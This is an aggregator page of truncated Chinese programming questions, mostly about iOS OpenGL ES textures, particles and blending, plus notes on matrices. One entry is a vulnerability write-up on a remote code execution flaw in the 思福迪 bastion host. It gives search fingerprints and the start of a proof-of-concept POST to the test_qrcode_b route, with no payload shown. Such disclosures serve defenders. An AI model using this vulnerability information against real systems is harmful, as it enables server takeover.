草庐IT

opengl_test

全部标签

objective-c - iOS OpenGL 使用 glTexImage2D 的参数来制作 UIImage?

我正在处理分配给我的项目的一些现有代码。我成功调用了glTexImage2D,如下所示:glTexImage2D(GL_TEXTURE_2D,0,texture->format,texture->widthTexture,texture->heightTexture,0,texture->format,texture->type,texture->data);我想使用传递给glTexImage2D的变量创建一个图像(最好是CGImage或UIImage),但不知道是否这是可能的。我需要从OpenGLView创建许多连续图像(每秒很多图像)并保存它们供以后使用。我应该能够使用我在glTe

ios - 如何在 iOS(增强现实应用程序)的实时预览相机上制作 OpenGl ES 的屏幕截图?

我是Objective-C和iOS编程的初学者。我花了一个月的时间来了解如何使用AvFoundation在实时相机预览之上使用OpenGLES(1.1版)显示3D模型。我正在iPad上做一种增强现实应用程序。我处理输入帧并实时显示3D对象叠加与相机预览。这些很好,因为有很多关于这些东西的网站和教程(也感谢这个网站)。现在,我想截取整个屏幕(以相机预览为背景的模型)作为图像并显示在下一个屏幕中。我在这里找到了一个非常好的演示,http://cocoacoderblog.com/2011/03/30/screenshots-a-legal-way-to-get-screenshots/.他

objective-c - 如何在不减慢游戏速度的情况下在 iPhone OpenGL ES 粒子系统中绘制 1000 多个粒子(具有独特的旋转、缩放和 alpha)?

我正在使用OpenGLES1.1为iPhone开发游戏。在这个游戏中,我有在角色被击中时从角色身上散发出的血粒子,所以屏幕上可以同时出现1000多个血粒子。问题是当我要渲染超过500个粒子时,游戏的帧率会急剧下降。目前,每个粒子都使用glDrawArrays(..)渲染自己,我知道这是速度变慢的原因。所有粒子共享相同的纹理图集。那么减少绘制许多粒子的速度的最佳选择是什么?以下是我找到的选项:将所有血液粒子组合在一起并使用单个glDrawArrays(..)调用渲染它们--如果我使用这种方法,每个粒子都有一种方法有自己的旋转和阿尔法?还是在使用此方法时所有这些都必须具有相同的旋转?如果我

ios - 具有深度测试的 OpenGL 点 Sprite - 混合问题?

我正在渲染点Sprite(在iOS上使用OpenGLES2.0)作为用户的绘图笔画。我将这些点存储在顶点缓冲区对象中,这样我就需要执行深度测试,以便在提交绘图时Sprite以正确的顺序出现。我在渲染这些绘图笔触时看到了一个奇怪的效果,如下面的屏幕截图所示:请注意蓝色描边边缘周围的背景色“边框”,它绘制在绿色之上。用户在绿色笔划之后绘制了蓝色笔划,但是当重绘VBO时,蓝色笔划首先被绘制。在绘制绿色笔划时,深度测试开始,发现它应该在蓝色笔划后面,所以这样做,一些成功。在我看来是某种混合问题,或者与片段着色器中错误计算颜色有关?所有笔画的边缘都应该是透明的,但是看起来片段着色器在处理这些片段

ios - OpenGL 背景清晰颜色渗入透明纹理

我正在使用OpenGL和C++编写一个简单的2D框架,现在遇到了与透明纹理和混合相关的问题。我已将我的问题简化为以下内容。我有两个纹理:地砖和鱼骨。后者包含透明像素。我将我的OpenGL清晰颜色设置为“透明绿色”并启用深度测试和混合,如下所示:glClearColor(0,1,0,0)glEnable(GL_DEPTH_TEST);glEnable(GL_BLEND);glBlendFunc(GL_SRC_ALPHA,GL_ONE_MINUS_SRC_ALPHA);通过两次调用glDrawElements(),我画了鱼,然后画了地板。鱼的Z值较高,因此应放置在地砖的前面。Thisist

ios - 获取 iOS 应用程序使用的实际 OpenGL 纹理内存量

SO中有几个问题与这个问题类似,但它们似乎都没有解释在设备上获取iOS应用程序使用的实际OpenGL纹理内存的明确方法。我知道如何手动计算我的纹理在上传到OpenGL时将使用多少内存。我想知道是否可以从设备中获取确切的OpenGL使用内存量。我想避免查看Instruments上内存监视器小部件中的实际内存和虚拟内存列(我的理解是这些聚合纹理内存和应用程序的常规内存)。我认为这类似于显示的方法here或here.我不介意纹理内存是使用任何外部工具还是以编程方式获得。但我只想要设备报告的真实OpenGL内存,而不是聚合。此外,有人可以解释一下“虚拟内存”列在iOS上的确切含义吗?我想我理解

思福迪运维安全管理系统 test_qrcode_b RCE漏洞复现

产品简介思福迪运维安全管理系统是思福迪开发的一款运维安全管理堡垒机漏洞描述由于思福迪运维安全管理系统test_qrcode_b路由存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器资产测绘banner=“Set-Cookie:bhost=”||header=“Set-Cookie:bhost=”漏洞复现POC如下:POST/bhost/test_qrcode_bHTTP/1.1Host:your-ipUser-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10_14_3)AppleWebKit/605.

ios - OpenGL 在 iOS 12 中被弃用,如何在 iOS 12+ 设备上安全地继续使用 openGL?

Apple表示,使用OpenGLES构建的应用程序将继续在iOS12中运行,但OpenGLES在iOS12中已弃用。以前使用OpenGLES的游戏和图形密集型应用程序现在应该采用Metal。但我不想将我的应用程序从OpenGL迁移到Metal,因为它是适用于Android的相同代码,而且我不想创建两个单独的分支,所以我该怎么做才能在未来的iOS版本中继续使用OpenGL? 最佳答案 你或多或少不会。Apple已明确表示他们无意在其控制的任何平台上进一步支持OpenGLES。将来,你将使用Metal,否则将不会有加速的3D图形。这些将

iphone - 在 iPhone 中使用 OpenGL ES 画一条直线?

最后,我尝试使用XCode4.2中的OpenGLES框架为iPhone简单游戏应用程序画一条线。我研究了一些关于GLKView和GLKViewController的东西,以便在iPhone中画一条线。这是我在我的项目中尝试过的示例代码,@synthesizecontext=_context;@synthesizeeffect=_effect;-(void)viewDidLoad{[superviewDidLoad];self.context=[[EAGLContextalloc]initWithAPI:kEAGLRenderingAPIOpenGLES2];if(!self.conte

一篇搞懂数学在OpenGL中的应用及矩阵

目录一、图形学中的矩阵1.矩阵的计算公式2.矩阵变换3.为什么旋转,平移都是左乘矩阵,不能右乘4.齐次坐标系统5.变换先后顺序二、利用矩阵来变换图形(补充)三、OpenGL中的三种变换矩阵 话不多说,我把我看的视频链接贴出来,下面的笔记是由视频学习和自己的补充而来。这次是(19-20)的笔记跟着这个小哥的教学视频学的(YouTube原视频,科学上网AI字幕)►       http://bit.ly/2lt7ccM这个是哔哩哔哩网站有人搬运的►最好的OpenGL教程之一_哔哩哔哩_bilibili其实在OpenGL使用中大部分并不特别涉及你需要自己手动去算那么复杂的线性变换,我们先了解一下线性